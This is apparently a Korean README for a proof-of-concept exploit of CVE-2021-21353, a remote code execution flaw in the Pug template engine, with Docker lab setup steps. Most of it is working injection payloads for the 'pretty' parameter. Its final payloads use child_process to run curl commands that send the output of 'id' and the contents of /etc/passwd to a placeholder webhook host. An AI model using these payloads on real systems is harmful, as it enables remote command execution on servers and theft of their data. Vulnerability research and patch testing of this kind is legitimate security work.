jinsu9758/pug-rce-cve-2021-21353-pocCVE-2021-21353에 대한 개념 증명 익스플로잇, Pug 템플릿 엔진 버전 <=3.0.0의 원격 코드 실행 취약점입니다. 'pretty' 파라미터를 통한 페이로드 주입으로 임의 명령 실행을 시연합니다.
CVE 번호 : cve-2021-21353
CVSS 점수 : 8.1
< 취약한 버전 >
pug_version <= 3.0.0
2.0.3 < pug-code-gen version, 3.0.0<= pug-code-gen version < 3.0.2
git clone https://github.com/jinsu9758/PUG-RCE-CVE-2021-21353-POC.git
cd PUG-RCE-CVE-2021-21353-POC
sudo docker compose up
※ 3000번 포트로 접속 가능
페이로드 테스트
?pretty=');console.log('executed');//
최종 페이로드
?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(id)\" <webhook_site>');_=('
?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(cat /etc/passwd)\" <webhook_site>');_=('
